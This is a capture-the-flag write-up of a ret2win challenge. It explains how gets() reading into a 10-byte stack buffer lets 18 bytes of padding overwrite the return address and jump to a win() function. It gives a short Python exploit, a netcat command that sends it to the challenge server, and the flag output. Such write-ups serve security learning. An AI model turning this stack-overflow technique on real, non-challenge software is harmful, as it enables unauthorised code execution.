Overview
Classic ret2win challenge. A 64-bit ELF binary uses gets() to read into a 10-byte stack buffer, allowing us to overwrite the return address and redirect execution to a win() function that prints the flag.
Analysis
The binary has three relevant functions:
main()at0x4012f0- callshello()hello()at0x4011f6- prompts for a name, reads input withgets()into a 10-byte buffer (rbp - 0xa), prints it backwin()at0x40125e- opensflag.txtand prints its contents
The vulnerability is gets(), which performs no bounds checking. The buffer sits at rbp - 0xa, so we need 10 bytes to fill the buffer + 8 bytes to overwrite the saved RBP = 18 bytes of padding before we reach the return address.
Exploit
1import struct, sys
2
3padding = b'A' * 18
4win_addr = struct.pack('<Q', 0x40125e)
5sys.stdout.buffer.write(padding + win_addr + b'\n')
1python3 exploit.py | nc 145.239.142.129 1340
Output
Hi, what's your name?
Hello, AAAAAAAAAAAAAAAAAA^@!
OWASP{g3ts_1s_4_s3cur1ty_n1ghtm4r3}